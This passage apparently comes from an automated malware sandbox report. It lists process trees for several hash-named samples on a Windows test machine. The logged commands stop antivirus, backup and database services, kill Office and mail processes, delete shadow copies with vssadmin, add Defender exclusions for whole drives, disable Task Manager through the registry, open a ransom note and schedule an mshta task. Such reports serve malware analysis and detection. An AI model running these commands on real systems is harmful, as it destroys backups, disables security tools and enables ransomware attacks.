    net stop "swi_update_64" /y
    3⤵
    PID:7404
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_update_64" /y
      4⤵
      PID:9064
- - C:\Windows\SysWOW64\net.exe
    net stop "TmCCSF" /y
    3⤵
    PID:11824
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TmCCSF" /y
      4⤵
      PID:9492
- - C:\Windows\SysWOW64\net.exe
    net stop "tmlisten" /y
    3⤵
    PID:12016
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "tmlisten" /y
      4⤵
      PID:10824
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKey" /y
    3⤵
    PID:11952
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKey" /y
      4⤵
      PID:12960
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKeyScheduler" /y
    3⤵
    PID:7732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKeyScheduler" /y
      4⤵
      PID:8164
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKeyServiceHelper" /y
    3⤵
    PID:7796
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y
      4⤵
      PID:3032
- - C:\Windows\SysWOW64\net.exe
    net stop "UI0Detect" /y
    3⤵
    PID:1868
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "UI0Detect" /y
      4⤵
      PID:12352
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamBackupSvc" /y
    3⤵
    PID:9524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamBackupSvc" /y
      4⤵
      PID:8048
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamBrokerSvc" /y
    3⤵
    PID:12772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamBrokerSvc" /y
      4⤵
      PID:6184
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamCatalogSvc" /y
    3⤵
    PID:14308
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamCatalogSvc" /y
      4⤵
      PID:11408
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamCloudSvc" /y
    3⤵
    PID:10572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamCloudSvc" /y
      4⤵
      PID:9548
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamDeploymentService" /y
    3⤵
    PID:7128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploymentService" /y
      4⤵
      PID:12884
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamDeploySvc" /y
    3⤵
    PID:10524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploySvc" /y
      4⤵
      PID:7940
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamEnterpriseManagerSvc" /y
    3⤵
    PID:14156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y
      4⤵
      PID:11760
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamMountSvc" /y
    3⤵
    PID:13560
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamMountSvc" /y
      4⤵
      PID:14968
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamNFSSvc" /y
    3⤵
    PID:5448
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamNFSSvc" /y
      4⤵
      PID:14028
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamRESTSvc" /y
    3⤵
    PID:9100
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamRESTSvc" /y
      4⤵
      PID:3472
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamTransportSvc" /y
    3⤵
    PID:7516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamTransportSvc" /y
      4⤵
      PID:3596
- - C:\Windows\SysWOW64\net.exe
    net stop "W3Svc" /y
    3⤵
    PID:13272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "W3Svc" /y
      4⤵
      PID:12872
- - C:\Windows\SysWOW64\net.exe
    net stop "wbengine" /y
    3⤵
    PID:5292
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "wbengine" /y
      4⤵
      PID:8552
- - C:\Windows\SysWOW64\net.exe
    net stop "WRSVC" /y
    3⤵
    PID:12376
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "WRSVC" /y
      4⤵
      PID:9444
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:10060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:8632
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2" /y
    3⤵
    PID:13864
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
      4⤵
      PID:9084
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamHvIntegrationSvc" /y
    3⤵
    PID:6596
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y
      4⤵
      PID:15288
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_update" /y
    3⤵
    PID:9336
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_update" /y
      4⤵
      PID:10748
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$CXDB" /y
    3⤵
    PID:13304
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CXDB" /y
      4⤵
      PID:4256
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$CITRIX_METAFRAME" /y
    3⤵
    PID:15124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y
      4⤵
      PID:12320
- - C:\Windows\SysWOW64\net.exe
    net stop "SQL Backups" /y
    3⤵
    PID:12968
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQL Backups" /y
      4⤵
      PID:5204
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROD" /y
    3⤵
    PID:10352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROD" /y
      4⤵
      PID:736
- - C:\Windows\SysWOW64\net.exe
    net stop "Zoolz 2 Service" /y
    3⤵
    PID:6636
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Zoolz 2 Service" /y
      4⤵
      PID:11132
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper" /y
    3⤵
    PID:8888
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper" /y
      4⤵
      PID:1964
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PROD" /y
    3⤵
    PID:8852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROD" /y
      4⤵
      PID:14664
- - C:\Windows\SysWOW64\net.exe
    net stop "msftesql$PROD" /y
    3⤵
    PID:6612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "msftesql$PROD" /y
      4⤵
      PID:10284
- - C:\Windows\SysWOW64\net.exe
    net stop "NetMsmqActivator" /y
    3⤵
    PID:7340
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "NetMsmqActivator" /y
      4⤵
      PID:5284
- - C:\Windows\SysWOW64\net.exe
    net stop "EhttpSrv" /y
    3⤵
    PID:11344
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EhttpSrv" /y
      4⤵
      PID:9768
- - C:\Windows\SysWOW64\net.exe
    net stop "ekrn" /y
    3⤵
    PID:12940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ekrn" /y
      4⤵
      PID:7352
- - C:\Windows\SysWOW64\net.exe
    net stop "ESHASRV" /y
    3⤵
    PID:9468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ESHASRV" /y
      4⤵
      PID:7332
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SOPHOS" /y
    3⤵
    PID:11800
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y
      4⤵
      PID:8468
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SOPHOS" /y
    3⤵
    PID:1768
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y
      4⤵
      PID:12144
- - C:\Windows\SysWOW64\net.exe
    net stop "AVP" /y
    3⤵
    PID:4944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AVP" /y
      4⤵
      PID:8576
- - C:\Windows\SysWOW64\net.exe
    net stop "klnagent" /y
    3⤵
    PID:6756
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "klnagent" /y
      4⤵
      PID:12708
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQLEXPRESS" /y
    3⤵
    PID:8296
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y
      4⤵
      PID:14720
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SQLEXPRESS" /y
    3⤵
    PID:7752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y
      4⤵
      PID:12248
- - C:\Windows\SysWOW64\net.exe
    net stop "wbengine" /y
    3⤵
    PID:13332
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "wbengine" /y
      4⤵
      PID:9608
- - C:\Windows\SysWOW64\net.exe
    net stop "kavfsslp" /y
    3⤵
    PID:10268
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "kavfsslp" /y
      4⤵
      PID:11828
- - C:\Windows\SysWOW64\net.exe
    net stop "KAVFSGT" /y
    3⤵
    PID:3584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "KAVFSGT" /y
      4⤵
      PID:6552
- - C:\Windows\SysWOW64\net.exe
    net stop "KAVFS" /y
    3⤵
    PID:5560
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "KAVFS" /y
      4⤵
      PID:4884
- - C:\Windows\SysWOW64\net.exe
    net stop "mfefire" /y
    3⤵
    PID:2752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfefire" /y
      4⤵
      PID:11188
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM zoolz.exe /T
    3⤵
    - Kills process with taskkill
    PID:11620
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM agntsvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:6804
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM dbeng50.exe /T
    3⤵
    - Kills process with taskkill
    PID:10056
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM dbsnmp.exe /T
    3⤵
    - Kills process with taskkill
    PID:5596
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM encsvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:7024
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM excel.exe /T
    3⤵
    - Kills process with taskkill
    PID:12228
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM firefoxconfig.exe /T
    3⤵
    - Kills process with taskkill
    PID:12204
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM infopath.exe /T
    3⤵
    - Kills process with taskkill
    PID:8744
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM isqlplussvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:12676
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM msaccess.exe /T
    3⤵
    - Kills process with taskkill
    PID:11196
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM msftesql.exe /T
    3⤵
    - Kills process with taskkill
    PID:14752
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mspub.exe /T
    3⤵
    - Kills process with taskkill
    PID:9836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mydesktopqos.exe /T
    3⤵
    - Kills process with taskkill
    PID:11680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mydesktopservice.exe /T
    3⤵
    - Kills process with taskkill
    PID:1608
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld.exe /T
    3⤵
    - Kills process with taskkill
    PID:14940
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld-nt.exe /T
    3⤵
    - Kills process with taskkill
    PID:14880
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld-opt.exe /T
    3⤵
    - Kills process with taskkill
    PID:15292
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocautoupds.exe /T
    3⤵
    - Kills process with taskkill
    PID:7232
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocomm.exe /T
    3⤵
    - Kills process with taskkill
    PID:9536
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocssd.exe /T
    3⤵
    - Kills process with taskkill
    PID:7616
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM onenote.exe /T
    3⤵
    - Kills process with taskkill
    PID:13336
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM oracle.exe /T
    3⤵
    - Kills process with taskkill
    PID:6688
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM outlook.exe /T
    3⤵
    - Kills process with taskkill
    PID:13772
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM powerpnt.exe /T
    3⤵
    - Kills process with taskkill
    PID:13860
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqbcoreservice.exe /T
    3⤵
    - Kills process with taskkill
    PID:11504
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlagent.exe /T
    3⤵
    - Kills process with taskkill
    PID:5836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:9924
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlservr.exe /T
    3⤵
    - Kills process with taskkill
    PID:3256
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlwriter.exe /T
    3⤵
    - Kills process with taskkill
    PID:2692
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM steam.exe /T
    3⤵
    - Kills process with taskkill
    PID:6752
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM synctime.exe /T
    3⤵
    - Kills process with taskkill
    PID:6996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM tbirdconfig.exe /T
    3⤵
    - Kills process with taskkill
    PID:4780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thebat.exe /T
    3⤵
    - Kills process with taskkill
    PID:3964
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thebat64.exe /T
    3⤵
    - Kills process with taskkill
    PID:7624
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thunderbird.exe /T
    3⤵
    - Kills process with taskkill
    PID:6796
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM visio.exe /T
    3⤵
    - Kills process with taskkill
    PID:10544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM winword.exe /T
    3⤵
    - Kills process with taskkill
    PID:12524
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM wordpad.exe /T
    3⤵
    - Kills process with taskkill
    PID:3928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM xfssvccon.exe /T
    3⤵
    - Kills process with taskkill
    PID:5264
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM tmlisten.exe /T
    3⤵
    - Kills process with taskkill
    PID:12240
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM PccNTMon.exe /T
    3⤵
    - Kills process with taskkill
    PID:13652
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CNTAoSMgr.exe /T
    3⤵
    - Kills process with taskkill
    PID:11304
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM Ntrtscan.exe /T
    3⤵
    - Kills process with taskkill
    PID:8456
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mbamtray.exe /T
    3⤵
    - Kills process with taskkill
    PID:11448
- C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
  "C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    PID:5500
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10704
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    PID:14784
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:12884
- C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
  "C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"
  2⤵
  - Executes dropped EXE
  - Checks system information in the registry
  PID:1424
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\RANSOMNOTE.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:4400
- C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
  "C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:64
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:9984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:13016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:12516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\SearchApp.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:11792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\DigitalLocker\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:13120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\MSBuild\conhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14272
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\TBQGCtykhq.bat"
    3⤵
    PID:10276
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:7632
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:12892
  - - C:\Recovery\WindowsRE\SearchApp.exe
      "C:\Recovery\WindowsRE\SearchApp.exe"
      4⤵
      PID:7576
- C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
  "C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
  "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:3088
- - C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
    "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
    3⤵
    PID:9752
- C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
  "C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2572
- C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
  "C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4696
- - C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe
    "C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"
    3⤵
    PID:10552
- C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
  "C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5664
- C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
  "C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"
  2⤵
  - Executes dropped EXE
  PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe
    3⤵
    PID:8836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:1108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
    3⤵
    PID:11180
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:14912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
    3⤵
    PID:10184
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:12580
- C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
  "C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5536
- - C:\ProgramData\6F71.tmp
    "C:\ProgramData\6F71.tmp"
    3⤵
    PID:12040
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\6F71.tmp >> NUL
      4⤵
      PID:12768
- C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
  "C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"
  2⤵
  PID:4056
- C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
  "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"
  2⤵
  PID:2284
- C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
  "C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"
  2⤵
  PID:4616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn ywaddmaxhZd /tr "mshta C:\Users\Admin\AppData\Local\Temp\Ip1b6Lrq5.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    PID:3236
